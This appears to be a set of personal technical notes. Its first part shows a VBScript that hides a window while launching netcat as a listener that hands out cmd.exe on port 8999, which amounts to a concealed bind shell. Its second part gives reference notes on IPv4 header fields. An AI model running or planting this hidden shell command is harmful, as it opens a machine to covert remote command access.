run a command without open a command window

Use notepad, create a file such as: test.vbs
Content of the file:

Set oShell = CreateObject ("Wscript.Shell") 

Dim strArgs
strArgs = "F:\programs\nc\nc.exe -nlvp 8999 -e cmd.exe"
oShell.Run strArgs, 0, false


Refer:
http://msdn.microsoft.com/en-us/library/d5fk67ky.aspx
http://superuser.com/questions/140047/how-to-run-a-batch-file-without-launching-a-command-window

http://www.k4linux.com/2015/08/kali-linux-20-tutorials-metasploit-first-run.html

IPv4 datagram structure

Note: 

1. Total Length

This 16-bit field defines the entire packet size, including header and data, in bytes. The minimum-length packet is 20 bytes (20-byte header + 0 bytes data) and the maximum is 65,535 bytes — the maximum value of a 16-bit word. All hosts are required to be able to reassemble datagrams of size up to 576 bytes, but most modern hosts handle much larger packets. Sometimes subnetworks impose further restrictions on the packet size, in which case datagrams must be fragmented. Fragmentation is handled in either the host or router in IPv4. 

2. Identification

This field is an identification field and is primarily used for uniquely identifying the group of fragments of a single IP datagram. Some experimental work has suggested using the ID field for other purposes, such as for adding packet-tracing information to help trace datagrams with spoofed source addresses,[11] but RFC 6864 now prohibits any such use. 

3. Flags

A three-bit field follows and is used to control or identify fragments. They are (in order, from high order to low order):
bit 0: Reserved; must be zero.[note 1]
bit 1: Don't Fragment (DF)
bit 2: More Fragments (MF)

Refer:

https://en.wikipedia.org/wiki/IPv4

http://www.tcpipguide.com/free/t_IPDatagramGeneralFormat.htm

OSI model